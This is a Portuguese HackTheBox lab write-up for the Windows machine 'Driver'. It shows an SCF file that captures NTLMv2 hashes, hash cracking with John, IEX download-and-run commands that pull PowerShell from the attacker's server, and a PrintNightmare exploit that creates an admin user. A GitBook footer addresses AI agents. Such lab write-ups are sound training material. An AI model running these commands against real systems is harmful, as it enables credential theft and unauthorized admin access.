> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md). # Writeup do HackTheBox Driver Writeup da máquina Easy Windows Driver do HackTheBox cobrindo adivinhação de senha, arquivo malicioso SCF, escalada de privilégio local no Spooler de Impressão (PrintNightmare) (CVE-2021-1675], com enumeração prática, ex {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Adivinhação de senha * Arquivo malicioso SCF * Escalada de privilégios local do Spooler de impressão (PrintNightmare) (CVE-2021-1675] {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Explorando portas abertas e exportando no arquivo "allPorts" no diretório do Nmap: ```bash nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts ```

**Análise das portas abertas com extractport:** Usando a função extractport para exibir portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura de versão das portas com Nmap:** Usando o Nmap para escanear as versões das portas e extrair informações no arquivo "targeted": ```bash nmap -sCV -p80,135,445 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

### Análise da porta 80: A porta 80 hospeda um servidor web com um painel de conexão.

Analisando com **WhatWeb** identifica um nome de usuário padrão: `admin`.

Tentativa de conexão com `admin:admin` como identificador. ### Centro de atualização de firmware do MFP:

O site oferece uma opção de download de firmware. A mensagem indica: > Selecione o modelo da impressora e baixe a atualização de firmware correspondente em nosso compartilhamento de arquivos. Nossa equipe de testes analisará os downloads manualmente e começará os testes em breve.

## Exploração - Arquivo malicioso SCF : Criando um `.scf` arquivo malicioso para capturar o NTLMv2 de um usuário quando ele for aberto: ``` [Shell] Command=2 IconFile=//10.10.14.7/smbFolder/pentestlab.ico [Taskbar] Command=ToggleDesktop ``` Ouvindo com **impacket** para capturar o NTLMv2: ```bash impacket-smbserver smbFolder $(pwd) -smb2support ``` Capturar o hash NTLMv2 do usuário `tony`.

Quebrar o hash NTLM com **John**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `tony:liltony`

## Conexão SMB e WinRM: **Verificação de acesso** com CrackMapExec: ```bash crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony' ```

/*/* WinRM/*/* conexão com CrackMapExec: ```bash crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony' ```

**Assumir o controle com Evil-WinRM**: ```bash evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony' ```

### Flag user.txt:

## Escalada de privilégios : ### **1. Enumeração com PowerUp:** * Baixando o **PowerUp.ps1** script na máquina atacante e adicionando o `Invoke-AllChecks` comando no final para iniciar todas as verificações. {% embed url="" %} Transferindo o script para a máquina vítima via servidor HTTP Python: ```bash python3 -m http.server 80 ``` Execução na máquina-alvo: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1') ``` > **Resultado**: Nenhum item relevante encontrado.

### **2. Enumeração com winPEAS:** {% embed url="" %} Transferência da ferramenta **winPEASx64.exe** para a máquina vítima: `upload winPEASx64.exe`

## **Exploração do PrintNightmare (CVE-2021-1675)** Um **spoolsv** processo vulnerável é detectado, escutando em uma porta TCP.

Usando um script de exploit para PrintNightmare, disponível no GitHub. {% embed url="" %}

Aqui estão os comandos para executar: 1. **Transferência do script** para evitar bloqueio pelo Windows Defender: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1') ``` 2. **Criação de um usuário administrador** chamado `jordan`: ```powershell Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" ```

`jordan:jordan1234!$` > **Status**: `jordan` o usuário agora está no grupo de administradores.

### Conexão com privilégios de administrador Conexão com a máquina via WinRM com **Evil-WinRM**: ```powershell evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$' ```

### Flag de root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.